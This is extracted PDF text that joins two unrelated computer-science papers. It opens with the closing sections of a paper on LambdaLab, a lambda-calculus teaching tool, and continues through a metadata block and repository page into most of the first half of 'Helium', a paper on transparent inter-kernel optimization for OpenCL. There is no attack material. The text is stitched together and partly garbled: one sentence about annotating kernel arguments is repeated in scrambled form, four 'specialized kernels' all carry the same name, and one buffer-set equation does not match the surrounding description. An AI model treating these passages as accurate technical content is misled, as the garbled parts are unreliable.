**Parenthesizing Expressions** Figure 7 shows a CS 4110 assignment that asks students to design an encoding for lists. It is open-ended: students can choose any encoding strategy. A common choice uses Lisp-style cons cells tagged with a Boolean: a list is a pair of a Boolean indicating whether it is empty and, for non-empty lists, another pair containing the head and the tail.
One such answer included a correct pair constructor:
\[ \text{PAIR} \triangleq \lambda a. \lambda b. \lambda f. f a b \]
But gave an incorrect encoding for the empty list:
\[ \text{NIL} \triangleq \text{PAIR} (\text{FALSE FALSE}) \]
A correct encoding is only slightly different:
\[ \text{NIL} \triangleq \text{PAIR} \text{ FALSE FALSE} \]
because the second element in the pair does not matter when the first is FALSE. The placement of the parentheses means that NIL is not a proper pair value.
Figure 8 shows LambdaLab’s interface when defining this incorrect encoding. The simplified result indicates that something has gone wrong: the term is not the pair encoding \( \lambda f. f \text{ FALSE FALSE} \) as expected. The reduction sequence can show where things went awry: LambdaLab highlights the entire term (FALSE FALSE) in red to show that it is an argument to the pair function. Figure 9 shows LambdaLab’s tree output for the two different answers, further highlighting the difference in the structure of the two terms.
**6 Related Work**
As an advanced topic in the computer science curriculum, the \( \lambda \)-calculus has received less attention from pedagogical research than broader, more introductory topics. Sestoft describes an early web interface for experimenting with reduction strategies [7], but the system lacks interactive features: it just displays reduction sequences. (The site is also no longer accessible at the time of submission.) Rojas’s \( \lambda \)-calculus tutorial [6] includes a color-coding visualization that inspired the way that LambdaLab automatically indicates the expressions involved in each reduction step. Bulinga designs a language for visualizing the \( \lambda \)-calculus using diagrams [2]. The graph language is part of a larger logical formalization, and it is unclear whether this style of visualization would be useful for beginners. The most closely related tool is Jhala’s Elsa [4], which focuses on teaching and building intuition about the \( \lambda \)-calculus by verifying reduction sequences that students propose. It works as a proof checker that checks whether a given reduction sequence follows from the evaluation rules.
LambdaLab’s interactive mode uses the same propose-and-verify approach but allows students to skip some reduction steps to focus on converging on the final reduction result.
Pombrio and Krishnamurthi’s work on resugaring [5] informed our macro contraction process (Section 4.2). Their paper includes a proof of equivariance: that terms are $\alpha$-equivalent in the sugared language if they are $\alpha$-equivalent in the desugared language. We ensure this property in LambdaLab along with the stronger semantic equivalence property.
Work on multi-stage programming [8] and meta-$\lambda$-calculi [1, 9] inspired our macro system and its formalization. Our $\lambda$-Calculus with Macros is simpler because our macros must be closed terms, so cross-level references are not allowed. Unlike that work, our formalization describes when and how to expand macro definitions to make a reduction sequence understandable.
7 Conclusion
In a recent offering of CS 6110, anecdotal student response to LambdaLab as a supplementary tool has been positive—and it has illuminated areas for improvement. The clear next step is to integrate LambdaLab more deeply into the design of homework problems and to perform a rigorous user study on the impact it has on student learning. LambdaLab’s user interface is still primitive, so principled work on its design will aid adoption.
Aside from LambdaLab itself, our empirical investigation into student mistakes raises questions about the aims of teaching the $\lambda$-calculus. What do we hope students will gain from learning about it? Is $\beta$-reduction intuition valuable for students not intending to study programming languages past an undergraduate level? How is teaching the $\lambda$-calculus similar to, and different from, teaching a “real” programming language? With the major categories of mistakes in mind, what are the best pedagogical strategies to address them? While an interactive tool can help, opportunity abounds to apply educational techniques to this obstacle in the programming languages curriculum.
References
|
{"Source-Url": "http://www.cs.cornell.edu/~asampson/media/papers/lambdalab-splashe2018-preprint.pdf", "len_cl100k_base": 9590, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 34342, "total-output-tokens": 10754, "length": "2e13", "weborganizer": {"__label__adult": 0.0007834434509277344, "__label__art_design": 0.0017576217651367188, "__label__crime_law": 0.0006823539733886719, "__label__education_jobs": 0.1234130859375, "__label__entertainment": 0.0003409385681152344, "__label__fashion_beauty": 0.0005555152893066406, "__label__finance_business": 0.0007214546203613281, "__label__food_dining": 0.0013713836669921875, "__label__games": 0.001781463623046875, "__label__hardware": 0.0014362335205078125, "__label__health": 0.0019426345825195312, "__label__history": 0.0011625289916992188, "__label__home_hobbies": 0.0004117488861083984, "__label__industrial": 0.0015316009521484375, "__label__literature": 0.002285003662109375, "__label__politics": 0.001018524169921875, "__label__religion": 0.0016107559204101562, "__label__science_tech": 0.2252197265625, "__label__social_life": 0.0007767677307128906, "__label__software": 0.01096343994140625, "__label__software_dev": 0.6171875, "__label__sports_fitness": 0.0008606910705566406, "__label__transportation": 0.001567840576171875, "__label__travel": 0.00054168701171875}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 45045, 0.01395]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 45045, 0.82417]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 45045, 0.88335]], "google_gemma-3-12b-it_contains_pii": [[0, 5359, false], [5359, 10356, null], [10356, 15888, null], [15888, 20406, null], [20406, 22799, null], [22799, 28347, null], [28347, 31820, null], [31820, 37335, null], [37335, 41858, null], [41858, 45045, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5359, true], [5359, 10356, null], [10356, 15888, null], [15888, 20406, null], [20406, 22799, null], [22799, 28347, null], [28347, 31820, null], [31820, 37335, null], [37335, 41858, null], [41858, 45045, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 45045, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 45045, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 45045, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 45045, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 45045, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 45045, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 45045, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 45045, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 45045, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 45045, null]], "pdf_page_numbers": [[0, 5359, 1], [5359, 10356, 2], [10356, 15888, 3], [15888, 20406, 4], [20406, 22799, 5], [22799, 28347, 6], [28347, 31820, 7], [31820, 37335, 8], [37335, 41858, 9], [41858, 45045, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 45045, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
dd4bc503b1b142a6f1e08e6f9a4f6b56e1658655
|
Helium: a transparent inter-kernel optimizer for OpenCL
Citation for published version:
Digital Object Identifier (DOI):
10.1145/2716282.2716284
Link:
Link to publication record in Edinburgh Research Explorer
Document Version:
Peer reviewed version
Published In:
GPGPU 2015 Proceedings of the 8th Workshop on General Purpose Processing using GPUs
General rights
Copyright for the publications made accessible via the Edinburgh Research Explorer is retained by the author(s) and / or other copyright owners and it is a condition of accessing these publications that users recognise and abide by the legal requirements associated with these rights.
Take down policy
The University of Edinburgh has made every reasonable effort to ensure that Edinburgh Research Explorer content complies with UK legislation. If you believe that the public display of this file breaches copyright please contact openaccess@ed.ac.uk providing details, and we will remove access to the work immediately and investigate your claim.
ABSTRACT
State of the art automatic optimization of OpenCL applications focuses on improving the performance of individual compute kernels. Programmers address opportunities for inter-kernel optimization in specific applications by ad-hoc hand tuning: manually fusing kernels together. However, the complexity of interactions between host and kernel code makes this approach weak or even unviable for applications involving more than a small number of kernel invocations or a highly dynamic control flow, leaving substantial potential opportunities unexplored. It also leads to an over complex, hard to maintain code base.
We present Helium, a transparent OpenCL overlay which discovers, manipulates and exploits opportunities for inter-and intra-kernel optimization. Helium is implemented as preloaded library and uses a delay-optimize-replay mechanism in which kernel calls are intercepted, collectively optimized, and then executed according to an improved execution plan. This allows us to benefit from composite optimizations, on large, dynamically complex applications, with no impact on the code base. Our results show that Helium obtains at least the same, and frequently even better performance, than carefully handtuned code. Helium outperforms hand-optimized code where the exact dynamic composition of compute kernel cannot be known statically. In these cases, we demonstrate speedups of up to 3x over unoptimized code and an average speedup of 1.4x over hand optimized code.
Categories and Subject Descriptors
D.1.3 [Programming Techniques]: Concurrent Programming—Parallel programming; D.3.4 [Programming Languages]: Processors—Run-time environments. Optimization. Incremental compilers
Keywords
GPGPU, OpenCL, profiling, inter-kernel optimization, JIT compilation, staging
1. INTRODUCTION
Compute accelerators have become a common component in all areas of computation: from mobile phones to supercomputers. Examples of accelerators include specialized processors (Intel Xeon Phi), FPGAs (Altera Cyclone V) or GPGPUs (Nvidia Tesla). Most accelerators adopt a compute kernel based software development process in which the developer splits the application into two parts. Compute intensive parts are packaged into compute kernels that execute on the accelerator. The remainder of the application executes on the host and is responsible for managing communication to the device and dispatching computation. CUDA[1] and OpenCL[7] are two widely used implementations of this approach. The former is a proprietary approach by Nvidia limited to Nvidia devices; the latter is an industry standard that is widely supported by more than 15 leading hardware companies.
Most current research has focused on improving the performance of individual compute kernels[15, 9, 16]. However, most real world applications consist of multiple, interdependent compute kernels. Like traditional function calls, this composition of kernels could be subjected to interprocedural optimizations (such as inlining or loop fusion). Unfortunately these optimizations are not easily applied in practice because of the separation of concerns between host and device programs and the lack of unified analysis. While the host has some knowledge about the inputs and outputs of a compute kernel, it has no information about how the data is manipulated and the resulting data dependencies. Similarly, due to the compute kernel based execution model, the accelerator is only aware of the operations that the currently executing kernel performs. Furthermore, in some cases it is not possible to determine the precise composition of kernels statically as it relies on runtime decisions.
Applying these optimizations manually is sometimes possible since programmers have a global view of the application; however this approach has several drawbacks. Each instance of code specialization creates additional functions by duplicating or fusing existing kernels, introducing redundancies. This results in a code base that is more difficult to maintain. Furthermore, for some of these optimizations it is difficult to decide statically if they are beneficial for a particular device or application, so the high development costs represent a significant risk.
In this paper, we present Helium, a transparent OpenCL overlay that overcomes these obstacles and allows us to perform inter-kernel optimizations of unmodified, binary OpenCL applications. Intercepting all OpenCL API library calls, our system is able to build a dynamic task and data dependency graph of the OpenCL application. In addition, we postpone the execution of all OpenCL API calls until the host application requests an output from the accelerator. At this point, we use the collected task and data flow dependency information to perform inter-kernel based optimizations.
To the best of our knowledge, we are the first to perform this kind of optimization for compute kernel based applications. Our results show that we can improve application performance up to 3$x$, and 1.87$x$ on average.
The contributions of this paper can be summarized as follows. It is the first to:
- Present an approach that automatically constructs dataflow graphs in any OpenCL application by combining compiler analysis and runtime information.
- Develop a delay mechanism for OpenCL commands and replay them lazily, transparently to the application.
- Dynamically apply effective inter-kernel optimizations such as task reordering and parallelization or kernel fusion.
The remainder of this paper is structured as follows: Section 2 motivates this work, Section 3 provides an overview of Helium, which is then detailed in Section 4. Section 5 and 6 present our evaluation methodology and its output. Section 7 lists state of the art research in this field and relevant techniques developed to solve similar problems. Section 8 discusses the implications of this work and exposes future extensions; and Section 9 concludes.
2. MOTIVATION
Complex applications often define computation as a stream of data through a set of independent operators, creating a modular and maintainable code base. Composable operators can be optimized very efficiently to improve data locality, by merging stages producing and consuming data, or eliminating redundant data accesses across multiple stages of the computational pipeline. For most programming environments, developers are oblivious to these optimizations since they are performed by the compiler, allowing programmers to focus on application semantics rather than optimization. In languages like C or C++, static compiler analysis finds the dataflow paths in the application and interprocedural optimization improves the implicit or explicit data flow whenever possible.
Sadly these optimizations do not arise naturally in OpenCL (or any other compute kernel based approach): since the code is broken down into host and device code, there is no global analysis of the data flow between host and accelerators. The host program does not know the computation patterns and how the data is being consumed by the compute kernels, while the kernels do not contain information about the data flow or the compute sequences. This prevents automatic inter-kernel compiler optimizations in either the offline host compiler or the runtime device compiler.
However the optimization potential of inter-kernel transformation is very high since improving data locality is considered to be one of the most effective optimization on many architectures. For most GPUs for example, data caches are not persistent across kernel executions, making redundant memory accesses very expensive and a significant waste of resources when several kernels manipulate the same input data or temporary intermediate buffers.
Because of this, inter-kernel optimizations are often performed by hand. Analyzing an OpenCL application manually requires a constant switching between host and device code, as well as keeping track of the various OpenCL objects across the application. This is a tedious, difficult and error prone task. The main obstacles are the extensive changes required for optimizing the computation and the difficulty to follow data flow paths between host and device.
The example shown in Figure 1 represents an application with multi-kernel asynchronous execution and dynamic dataflow. Before computation is delegated to the device, a number of steps are necessary to set up the device application. First, the device program is compiled from source (\textbullet) and data is allocated on the device (\textbullet). Kernels objects are then created and their arguments are bound to host variables (\textbullet). Finally the data is copied to the device (line 32), then processed by a series of kernels (lines 33, 34, 37, 41 and 42) and the final result is read back (line 45). All these steps must be cross-referenced to find the actual dataflow paths. More specifically, the dataflow analysis must keep track of:
- \textit{kernel states}: unlike C functions, OpenCL kernels have persistent states for their arguments, which do not need to be specified for each invocation.
- \textit{data access patterns}: for each kernel invocation, one must refer to the device code with the latest known state of the arguments to know which memory object is updated or consumed.
- \textit{synchronization primitives}: most of the OpenCL actions execute asynchronously, only special functions or blocking operations guarantee coherence of the data in the host program.
The device program is compiled at runtime from OpenCL-C.
Memory buffers are allocated/released explicitly by the host.
Kernels are configured and invoked in separate operations.
Communication functions copy data between host and device.
4. Scheduling: the task graph is replayed in topological order using a parallelizing scheduler, exposing task parallelism. The host program is blocked until completion of all the actions required to restore consistency in the target application.
While delaying the OpenCL actions might cause some overheads since it prevents host and device from performing computation in parallel, most applications delegating computation to an accelerator actively wait for the result shortly after issuing a chain of commands in order to proceed further, hence it does not cause significant delays. Similarly, profiling overheads are minimal and are easily amortized by the resulting performance gain.
4. HELIUM IMPLEMENTATION
This section presents the implementation of the Helium OpenCL overlay and the optimizations it performs on the generated task graphs. Helium is packaged as a library, which can be preloaded when executing any OpenCL application and acts as a broker between the original program and the vendor OpenCL implementation, gathering runtime information and delaying the calls to the vendor implementation as much as possible.
Helium is divided in four components. We first describe in Section 4.1 what type of information is gathered by the OpenCL Profiler, then explain how it is used by the Dependency Analyzer in Section 4.2. The Task Graph Optimizer, detailed in Section 4.3, modifies the graph and the replay mechanism performed by the Parallelizing Scheduler is presented in Section 4.4. The code shown in Figure 1 will be used as a case study throughout the section to demonstrate the analysis and transformations. We consider an execution where the runtime value $n$ is 2.
4.1 OpenCL Profiler
Before computing the data paths of an application, the analyzer must keep track of the OpenCL commands invoked and build an abstract representation for them in order to find their dependencies and the scope of the main OpenCL objects. To do this, Helium intercepts OpenCL function calls by overriding all the standard host functions and emitting information collected in the profiler. The main actions tracked by the profiler are:
Device Program Compilation. Most OpenCL applications compile the device program at runtime from OpenCL-C source code to improve portability. The profiler intercepts the source code through the OpenCL API calls. Helium’s OpenCL compiler then analyzes this code to gather static information.
The usage of each kernel argument representing a pointer in the global memory space is traced across the kernel in order to find if the data is produced or consumed. If it is used in a store instruction, it is annotated as write, and similarly if it is used in a load operation it is annotated as read. The result can be expressed as a map expression; for our example kernel, it is annotated as the data is produced or consumed. If it is used in a store instruction, global memory space is traced across the kernel in order to find if the argument is consumed.
For each memory access, the compiler also builds a partially evaluated expression representing the offset in bytes from the base pointer used for the actual operation. For simplicity we present the linearized global position as a special id marker, which is used for evaluation and comparison of these expressions in the optimization stage. Both kernels A and B only access addresses with an offset global_id(0), which is simplified to id. Kernel C uses both id + n and id − n, where n is a kernel argument unknown statically. This information can be integrated with the previously described notation, and the output of the analysis for the code from Figure 1 can be expressed as:
\[ A : a \mapsto b \]
\[ B : t \mapsto u \]
\[ C : x \mapsto y, y \mapsto y \]
**Kernel Objects.** Kernel objects in the OpenCL API represent a handle on a function executed on the device. They are created from a compiled OpenCL-C or a binary program using the name of a kernel function. Unlike native functions, the arguments of a kernel are persistent across calls and are independent from the call site. Each argument is set through a separate non type safe API where programmers set the raw binary content of each argument and its size. Hence, OpenCL kernels have a state which changes over the course of the application and often cannot be known statically.
**Kernel Invocations.** Kernel invocations are the equivalent of a function call on the device. They execute asynchronously a given kernel over an N-dimensional compute grid indicating the local and global sizes as well as the starting offset. The last state of the kernel arguments is used for the current invocation.
**Task Dependencies.** Kernel invocations, and other OpenCL actions like data copy, are issued in command queues which process requests either in-order or out-of-order depending on their properties. Each action in the queue can have explicit dependencies to other commands in the same or a different command queue.
**Buffer Allocation and Deallocation.** The OpenCL framework operates as a distributed memory model where the devices are passive. Device memory must be explicitly allocated by the host, which is also responsible for ensuring consistency of the buffers and their deallocation. Since allocation and deallocation are done through the OpenCL API, Helium can keep track of the lifetime of each individual memory object. This information can be used to improve the memory management: buffers can be allocated lazily just before being used, and freed immediately after their last use. In the example code, three buffers of identical size are allocated on the same context: b1 to b3.
**Synchronization Operations.** Most OpenCL commands execute asynchronously, and the host program is responsible for explicitly issuing synchronization to guarantee the coherency of the computation. A synchronous operation, which is achieved either by enqueuing a blocking command or using a synchronization primitive, blocks the host program execution until the asynchronous commands have completed.
When these commands are intercepted by the profiler, they are not forwarded to the vendor implementation straight away; this is the delay phase. Instead, each action generates an object representation within Helium. The objects encapsulate the action by copying their arguments and the object handles are replaced with virtual ones. Object handles represent pointers to an opaque type defined by a vendor implementation for representing allocated OpenCL objects. They are used to symbolize relationships between objects through the OpenCL API. For example, clCreateBuffer allocates memory within a context and returns a cl_mem handle, which can later be used to specify a memory operation or a kernel argument. However, a delayed buffer allocation does not have a valid handle in the vendor implementation, thus it must be replaced by a temporary virtual handle, which is returned to the target application and used transparently as a vendor provided one.
The output of the delay phase creates a set of commands objects, represented as the nodes in the Figure 3, without any connection. The dependencies between these actions are inferred by Helium’s dependency analyzer.
**4.2 Dependency Analyzer**
The dependency analyzer uses the runtime information gathered from intercepting the OpenCL API function calls to build an abstract representation of the program and its execution flow. The result is a task graph of inter-dependent OpenCL commands, presented in Figure 3. The mechanisms used to build the dependency graph are described in the remainder of this section.
**OpenCL Handle Tracking.** Most of the relationships between objects are defined in the OpenCL API through the use of handles. However the handles do not directly provide dependencies between the actions; instead, they act as a common pool of objects used by different actions. Helium combines this information with semantic knowledge of each action to infer dependencies between them by linking each action to all OpenCL objects it manipulates.
Kernel invocations can be indirectly associated to memory objects through their arguments. When a kernel argument is set, its binary content is cross-referenced against the profiler’s handle lookup table to determine whether it is an OpenCL object handle, a virtual handle or raw data. If it is a handle, the kernel is temporarily associated to the corresponding object, until the argument is overridden. When a kernel is invoked, its parameter list is copied to the invocation object, along with its relationships to other objects.
By tracking OpenCL handles, and in particular handles on allocated device memory, Helium can infer relations between actions by adding data and temporal dependencies.
**Data Dependencies.** A data dependency represents a producer-consumer dependency: an action creating or modifying data must be completed before the data is read again. Helium classifies each OpenCL action into producer or consumer categories. For example, allocating a buffer or writing data to the device produces input for the kernels, whereas releasing a buffer or reading data produces output for the kernels. When a kernel is invoked, its parameter list is copied to the invocation object, along with its relationships to other objects.
Data dependency for kernels is more fine-grained, since combining the static device code analysis and the runtime value of each kernel argument for each invocation allows Helium to deduce if a particular buffer was produced or consumed. For example, at the first invocation of kernel A, the arguments were bound to b1 and b2 respectively. The static analysis for A derived by the profiler is \( a_{1d} \xrightarrow{} b_{1d} \), which can be substituted with the runtime arguments: \( b1 \xrightarrow{} b2 \), hence this particular invocation consumed \( b1 \) and produced \( b2 \). It is then connected to the last actions producing the consumed buffer, here \( b1 \) was initialized by a memory write, so an edge is created between the two actions, as shown in Figure 3.
Our system can build the dataflow path in the application by connecting the last producer to all subsequent consumers for each device memory object.
**Temporal Dependencies.** After dataflow analysis, the resulting task graph contains only the minimal set of dependencies between actions. However it might still contain data races and ambiguities, which must be resolved by adding edges between conflicting nodes to enforce an ordering. Depending on whether the race was present in the original application or not, it can be solved in two ways:
- if the race was introduced by the delay replay mechanism, it can be solved using temporal dependencies. This occurs when the application expects an in-order queue to solve ambiguities, such as multiple unsequenced readers and writers. Helium uses the weak ordering of the original queue to insert a dependency edge from the earlier operations in the queue to the later ones, respecting the in-order semantics for conflicting nodes. In the example, the second invocation of \( A \) consumes and updates \( b2 \), which was last produced by the first invocation of \( A \). However, the first invocation of \( C \) and a buffer read command also consume \( b2 \) and were enqueued before, so they must be completed before the second invocation of \( A \) is executed to prevent a data race, so two temporal edges are added to enforce this.
- if the race was present in the original application, it must have been resolved by the user. Since OpenCL supports task parallelism, race conditions naturally occur in OpenCL when using multiple queues or out-of-order queues. To enforce an ordering, the OpenCL API provides events, which are handles optionally attached to each command. It is also possible to add a list of events as dependencies to an OpenCL action, which guarantees that all dependencies must be completed before the action starts. Our system analyzes these events and uses them to solve conflicts in the task graph, similarly to the OpenCL implementations. Note that all unnecessary event based synchronizations are discarded automatically: if there are user-specified dependencies between actions which are not conflicting in the task graph, they can be ignored as they cannot have visible side effects on the application and might slow down the execution.
**Restoring Consistency.** Finally, some additional edges need to be added to force the execution of asynchronous operations having a side effect on the host program. Executing only the ancestors of a blocking action is sufficient to restore consistency for this action. However the synchronization itself might trigger side effects for unconnected nodes, because it restores consistency between host and device. For example, enqueuing multiple asynchronous reads followed by a blocking read in an in-order queue guarantees that all pending reads will be completed when the blocking call finishes.
Helium solves this by tracking all operations having a side effect visible from the host and flushing them before a blocking call. In the example, the blocking read uses the buffer \( b1 \), for which the latest value can be computed independently of the asynchronous read in line 36. However, because the host program assumes consistency after synchronization, the read must be completed before the blocking call completes, so a temporal dependency is inserted between the asynchronous read and the blocking operation.
The resulting task graph, shown in Figure 3, is very specific to an execution where the value \( n \) is 2. The trace for other values might look completely different since some actions are executed conditionally. This highlights the difficulty of performing this analysis by hand, where all possible paths must be considered at once.
The resulting graph contains only a minimal set of dependencies and can be optimized before being replayed.
### 4.3 Task Graph Optimizer
Once the task graph has been built by combining the compiler analysis and the runtime information, it is passed to an optimizer before being replayed.
The role of the task graph optimizer is twofold: it aims to bridge the optimization gap between kernels which have been compiled in isolation, and maximize task parallelism. We classify the task graph optimizations in three categories: device code optimizations, which generate new kernels dynamically, host flow optimizations, which re-arrange tasks in the command queues in a more efficient way, and dynamic optimizations, which use profiling information to inject host runtime values to specialize device code. They will be described in that order in the remainder of the section.
**Horizontal Fusion.** When several nodes are at the same depth in the task graph, or more generally when there is no path between two nodes, these nodes are *data independent*. The absence of a path indicates that their relative ordering does not matter, or they can even be executed at the same time. If they are both compute nodes, their source code can be fused to improve data locality between the kernels. To find candidates for horizontal fusion, Helium groups nodes for which the input and output sets are disjoint. In the task graph presented in Figure 3, kernels \( A \) and \( B \) are data independent since their input and output set do not overlap:
\[
(\{b1\} \cup \{b1\}) \cap (\{b2\} \cup \{b3\}) = \emptyset
\]
This makes them a potential candidate for fusion. In this case, the optimizer will generate a fused kernel to improve data reuse: both $A$ and $B$ are reading from the same buffer $b_1$ at the same address $id$. The resulting kernel has one fewer parameter, as shown in Figure 4a. While there might be other occasions where horizontal fusion is beneficial without data reuse, such as amortizing the cost of spawning a new kernel or optimizing register occupancy, our system only generates fusion when there are common read instructions to amortize the compilation cost.
**Vertical Fusion.** A path between two nodes indicates a data dependency: the first node produces data, which is then consumed by the second, indicating a temporal relationship between the nodes. The OpenCL model provides two ways to avoid data races for temporal dependencies: either relying on the memory model or using memory fences. The memory model only guarantees sequential consistency in the global space within a single thread\(^1\), so if there exists a mapping between the kernels such that data generated in each producer thread is read by at most one thread in the consumer, then the operation can be performed safely using the same thread for producer and consumer. If this mapping does not exist, a barrier is required to avoid data race, and since the OpenCL model does not provide a global memory fence or a global synchronization, the operations must be performed in two distinct kernels.
In the example, the first invocation of $C$ is consumed by another instance of $C$, which creates a producer-consumer dependency in the task graph. In this case the conflicting buffer is $b_1$, which is both read from and written to at address $id + n$. The variable $n$ is a kernel argument, for which the value is known at each instance using the profiling information. The runtime can deduce that $b_1$ is produced at $id + 2$ in the first instance and consumed at $id$ in the other. Thus, merging the kernels directly would introduce spatial dependencies across kernel instances, which is not valid.
Using a technique similar to loop alignment and loop fusion, the optimizer determines that the alignment threshold of the fusion-preventing kernel is equal to 2. Therefore, the first invocation can be aligned with the second by adding the negation of the alignment threshold to the $id$ function and adjusting the ranges. The first invocation of $C$ now uses $id - 2$ between $[4, size]$ instead of $id$ between $[2, size - 2]$, so the write operation now updates $id + 2 - 2$, which does not conflict with the following invocation of $C$. Hence, the spatial dependency has been eliminated, allowing the kernels to be fused. The fused kernel, shown in Figure 4b, has three input parameters instead of six, and a single store instead of two.
Because implementing this transformation by hand requires a modification of all memory accesses in a kernel from the device code, and an adjustment of the ranges each time the kernel is enqueued in the host code, it triggers cumbersome changes. Helium automatically adjusts the ranges dynamically and generates new device code where each fused kernel uses an adjusted index function with a range guard to ensure the correctness of the transformation.
**Task Reordering and Parallelization.** Like horizontal fusion, task reordering is applicable between any two nodes which are not connected by data dependency. OpenCL supports Parallel task execution, provided that users carefully define the dependencies between the nodes to avoid data races. Since the task graph itself contains the minimal set of data dependency required, Helium automatically switches in-order command queues to out of order queues, and the edges in the task graph are converted to event handles, used to define dependencies. While this does not guarantee task parallelism, it is exposed through the OpenCL API. In our example, the asynchronous read operation is independent from the invocations of $C$, they will be enqueued without dependencies and may execute in parallel if the vendor implementation support it.
In order to reduce blocking delays, OpenCL commands are delayed as much as possible. Not all actions are always necessary to restore consistency in the host program; some can be delayed even after synchronization. The optimizer is able to delay actions across synchronization points whenever it is safe to do so, which concerns three types of actions:
- **computation nodes:** until one of the outputs is re-used in a chain of events having a side effect on the host. This increases the optimization potential of the next task graph following the synchronization operation. In the example the second invocation of the kernel $A$ is not needed to evaluate the blocking operation, hence it is not replayed at this point.
- **write operations:** transferring data on the device is unnecessary until the data is consumed by a kernel. However host data might be discarded after synchronization, so the optimizer has to create a copy of at the synchronization point in order to replay it safely later. Asynchronous read operations cannot be delayed further since the host program assumes the transfer terminated after a blocking operation.
- **memory allocation/deallocation:** memory is a very limited resource on some devices, hence having an efficient memory management is often crucial. Memory allocation is delayed until the buffer is first used. Releasing memory is performed as soon as the last action using the buffer finishes, if the host released the object before the synchronization point.
---
\(1\) OpenCL 2.0 has a more complete memory model, but it is not yet supported by all vendors.
Dead Task Elimination. Tasks having no side effect on the host program are often mistakenly introduced in complex applications as artifacts of the development process, especially after manually optimizing the code. Compute tasks can be considered unnecessary if their output is never read back in the host application or if is entirely overwritten by a subsequent computation before the data is ever used. In the example, the buffer b2 is used in a computation by the second invocation of Kernel A, but the buffer is released before the host reads back the result, meaning the computation had no side effect visible from the host and is not necessary. As a consequence, the second invocation of A will never be replayed. This optimization will occur automatically as a natural consequence of lazy instantiation of the actions. Task reordering was also necessary to delay the invocation of A to the next synchronization point.
Code Specialization. Creating specialized versions of the code by injecting runtime information into the device code is sometimes necessary. For example, when only one output of a kernel has no side effect, the compiler can eliminate the dead stores. However, the remainder of the kernel has to be executed. In this case, the Helium compiler only removes the unnecessary store instructions and a dead code elimination pass will later simplify the code.
Combining these optimizations incrementally generates a highly runtime specific task graph which takes into account the actual dataflow path. Figure 5 shows the three possible optimization sets depending on the value of \( n \) in the example application. If implemented by hand, the application would have required four additional specialized kernels: AoAoB, AoAoB, AoAoB, and AoAoB, with high code redundancy. This would have also considerably increased the complexity of the host application since each dataflow path must be implemented in different control flow paths, which may extend beyond this code fragment to the rest of the application.
Once the task graph has been optimized, it must be scheduled on the device via the OpenCL vendor implementation.
4.4 Parallelizing Scheduler
The task graph scheduling corresponds to the replay phase. This is triggered by a synchronization operation from the host program. Helium must restore the consistency of the program in such a way that all actions having a side effect on the blocking operation must be replayed.
Command Queue Manager. Our system manages a set of out-of-order command queues to dispatch computation. The resulting program is loaded back into the OpenCL runtime as a native OpenCL binary program. As an orthogonal optimization, the program is also saved in an offline compilation cache along with the requirements of the transformation in order to accelerate future uses of the same fused set. In our example, the fused AoB kernel has no additional requirements and can be used any time the chain A followed by B is found. However, kernel CoB has been specialized in this particular case so the additional condition \( n = 2 \) for the first kernel and \( n = 0 \) for the second are both required since they are the values used for range alignment.
Replay Actions. These are achieved by recursively traversing the dependencies of the task graph from the blocking operation. Each node is enqueued only once in topological order. An event handle is attached to each action as they get enqueued, and the dependencies are translated to an array of event handles from the enqueued actions. This exploits task parallelism as expressible by the OpenCL framework: since the queue is out of order and the dependencies between actions are minimal, independent actions might execute concurrently if the vendor implementation supports it.
Kernel arguments must be rolled back to the state they were at the point of invocation, and restored immediately after the invocation has been issued to maintain consistency. Similarly, nodes resulting from a fusion have to be set up with the runtime values of the fused kernels. The argument of each kernel is copied and their dependencies are transferred to the fused node.
Profiler Update. Finally, the replayed commands transforming virtual handles into vendor specific ones are sent back to the profiler, and the handles are propagated through the task graph. Helium must seamlessly translate the virtual handles created from the delay phase into vendor specific handles to ensure correctness. Specifically, our system must translate every cl_event and cl_mem objects from a Helium assigned identifier to a vendor specific object. This also affects kernel arguments, for which the binary content must be updated if they contain an object handle.
The result of the replay phase is transparent to the target application. Figure 6 represents an equivalent OpenCL program to Figure 1 as seen from the vendor implementation point of view. The executed code contains fewer OpenCL API calls overall since the code has been optimized. The device code has been entirely rewritten in this case since the original kernels are not needed for the execution. Coding these optimizations by hand would require explicitly implementing all the possible control flow in separate branches along with the exact preconditions necessary for each optimized flow. This would lead to a high amount of code redundancy.
Figure 6: OpenCL code equivalent to the optimized application. The device code has been automatically re-written entirely taking into account dataflow aware optimizations.
5. EXPERIMENTAL SETUP
We evaluate Helium on a collection of applications, which are present in both raw (baseline) and hand-optimized forms. This enables us to evaluate the benefits Helium brings directly against hand-optimization and the benefits it brings when applied after hand-optimization. For complex and dynamic applications, opportunities for hand-optimization are quite restricted and the latter comparison demonstrates that they may even be counter-productive when a powerful, automated system such as Helium is available. We use the following four benchmarks:
- **COC**: a simplified version of the copy-compute overlap benchmark from the Nvidia benchmark suite, demonstrating parallel computation and communication. The computation flow is the same for a given number of iterations: write two input buffers to the device, enqueue a kernel which uses both inputs and generates an output buffer, which it read at each iteration. The optimized implementation fragments the computation in by splitting the input and output buffers in half. The commands are then pushed in two in-order queues in a very specific order such that computation and communication may overlap across iterations. The baseline implementation is a simplified version of the code where all actions are pushed in a single in-order queue.
